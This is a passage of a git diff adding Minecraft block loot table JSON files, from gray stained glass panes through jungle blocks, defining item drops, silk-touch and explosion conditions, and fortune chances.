+++ b/src/data/minecraft/loot_tables/blocks/gray_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_terracotta.json b/src/data/minecraft/loot_tables/blocks/gray_terracotta.json new file mode 100644 index 00000000..a8cb73f0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_wool.json b/src/data/minecraft/loot_tables/blocks/gray_wool.json new file mode 100644 index 00000000..c60f697d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_banner.json b/src/data/minecraft/loot_tables/blocks/green_banner.json new file mode 100644 index 00000000..0fa292bf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:green_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_bed.json b/src/data/minecraft/loot_tables/blocks/green_bed.json new file mode 100644 index 00000000..14729913 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:green_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:green_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_carpet.json b/src/data/minecraft/loot_tables/blocks/green_carpet.json new file mode 100644 index 00000000..e48a7cb2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_concrete.json b/src/data/minecraft/loot_tables/blocks/green_concrete.json new file mode 100644 index 00000000..44c38f89 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/green_concrete_powder.json new file mode 100644 index 00000000..3009269c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/green_glazed_terracotta.json new file mode 100644 index 00000000..5fe1209c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_shulker_box.json b/src/data/minecraft/loot_tables/blocks/green_shulker_box.json new file mode 100644 index 00000000..43086b02 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:green_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_stained_glass.json b/src/data/minecraft/loot_tables/blocks/green_stained_glass.json new file mode 100644 index 00000000..e6b55542 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/green_stained_glass_pane.json new file mode 100644 index 00000000..1088d803 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_terracotta.json b/src/data/minecraft/loot_tables/blocks/green_terracotta.json new file mode 100644 index 00000000..234bee87 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/green_wool.json b/src/data/minecraft/loot_tables/blocks/green_wool.json new file mode 100644 index 00000000..eeaf9d04 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/green_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:green_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/grindstone.json b/src/data/minecraft/loot_tables/blocks/grindstone.json new file mode 100644 index 00000000..1c17cdf0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/grindstone.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:grindstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/hay_block.json b/src/data/minecraft/loot_tables/blocks/hay_block.json new file mode 100644 index 00000000..7e98247c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/hay_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:hay_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/heavy_weighted_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/heavy_weighted_pressure_plate.json new file mode 100644 index 00000000..eebf67f3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/heavy_weighted_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:heavy_weighted_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/honey_block.json b/src/data/minecraft/loot_tables/blocks/honey_block.json new file mode 100644 index 00000000..2661eda8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/honey_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:honey_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/honeycomb_block.json b/src/data/minecraft/loot_tables/blocks/honeycomb_block.json new file mode 100644 index 00000000..197aa37e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/honeycomb_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:honeycomb_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/hopper.json b/src/data/minecraft/loot_tables/blocks/hopper.json new file mode 100644 index 00000000..c8ec9e91 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/hopper.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:hopper" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/horn_coral.json b/src/data/minecraft/loot_tables/blocks/horn_coral.json new file mode 100644 index 00000000..1099d435 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/horn_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:horn_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/horn_coral_block.json b/src/data/minecraft/loot_tables/blocks/horn_coral_block.json new file mode 100644 index 00000000..f279647c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/horn_coral_block.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:horn_coral_block" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dead_horn_coral_block" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/horn_coral_fan.json b/src/data/minecraft/loot_tables/blocks/horn_coral_fan.json new file mode 100644 index 00000000..545c08db --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/horn_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:horn_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/ice.json b/src/data/minecraft/loot_tables/blocks/ice.json new file mode 100644 index 00000000..92440cc7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/ice.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:ice" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/infested_chiseled_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/infested_chiseled_stone_bricks.json new file mode 100644 index 00000000..096f66b3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/infested_chiseled_stone_bricks.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/infested_cobblestone.json b/src/data/minecraft/loot_tables/blocks/infested_cobblestone.json new file mode 100644 index 00000000..77610e77 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/infested_cobblestone.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cobblestone" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/infested_cracked_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/infested_cracked_stone_bricks.json new file mode 100644 index 00000000..75140ef6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/infested_cracked_stone_bricks.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cracked_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/infested_mossy_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/infested_mossy_stone_bricks.json new file mode 100644 index 00000000..fa4f2b22 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/infested_mossy_stone_bricks.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:mossy_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/infested_stone.json b/src/data/minecraft/loot_tables/blocks/infested_stone.json new file mode 100644 index 00000000..2f6e8dac --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/infested_stone.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/infested_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/infested_stone_bricks.json new file mode 100644 index 00000000..e2c7f613 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/infested_stone_bricks.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/iron_bars.json b/src/data/minecraft/loot_tables/blocks/iron_bars.json new file mode 100644 index 00000000..cd56f452 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/iron_bars.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_bars" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/iron_block.json b/src/data/minecraft/loot_tables/blocks/iron_block.json new file mode 100644 index 00000000..7088996c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/iron_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/iron_door.json b/src/data/minecraft/loot_tables/blocks/iron_door.json new file mode 100644 index 00000000..b47e57b3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/iron_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:iron_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:iron_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/iron_ore.json b/src/data/minecraft/loot_tables/blocks/iron_ore.json new file mode 100644 index 00000000..800b5fb8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/iron_ore.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_ore" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/iron_trapdoor.json b/src/data/minecraft/loot_tables/blocks/iron_trapdoor.json new file mode 100644 index 00000000..a09321c5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/iron_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jack_o_lantern.json b/src/data/minecraft/loot_tables/blocks/jack_o_lantern.json new file mode 100644 index 00000000..da652323 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jack_o_lantern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jack_o_lantern" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jukebox.json b/src/data/minecraft/loot_tables/blocks/jukebox.json new file mode 100644 index 00000000..0ba49e8e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jukebox.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jukebox" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_button.json b/src/data/minecraft/loot_tables/blocks/jungle_button.json new file mode 100644 index 00000000..c671854f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_door.json b/src/data/minecraft/loot_tables/blocks/jungle_door.json new file mode 100644 index 00000000..09d6e5fc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:jungle_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:jungle_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_fence.json b/src/data/minecraft/loot_tables/blocks/jungle_fence.json new file mode 100644 index 00000000..b13899a6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_fence_gate.json b/src/data/minecraft/loot_tables/blocks/jungle_fence_gate.json new file mode 100644 index 00000000..4b68222c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_leaves.json b/src/data/minecraft/loot_tables/blocks/jungle_leaves.json new file mode 100644 index 00000000..6f279b0f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_leaves.json @@ -0,0 +1,129 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:jungle_leaves" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.025, + 0.027777778, + 0.03125, + 0.041666668, + 0.1 + ] + } + ], + "name": "minecraft:jungle_sapling" + } + ] + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.02, + 0.022222223, + 0.025, + 0.033333335, + 0.1 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_log.json b/src/data/minecraft/loot_tables/blocks/jungle_log.json new file mode 100644 index 00000000..515a1feb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_planks.json b/src/data/minecraft/loot_tables/blocks/jungle_planks.json new file mode 100644 index 00000000..9c932416 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/jungle_pressure_plate.json new file mode 100644 index 00000000..765988e6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_sapling.json b/src/data/minecraft/loot_tables/blocks/jungle_sapling.json new file mode 100644 index 00000000..78f4e948 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_sign.json b/src/data/minecraft/loot_tables/blocks/jungle_sign.json new file mode 100644 index 00000000..309c1be6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:jungle_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_slab.json b/src/data/minecraft/loot_tables/blocks/jungle_slab.json new file mode 100644 index 00000000..d5f286c6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/jungle_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:jungle_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:jungle_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/jungle_stairs.json b/src/data/minecraft/loot_tables/blocks/jungle_stairs.json new file mode 100644 index 00000000..7eadbf5b --- /dev/null +++ 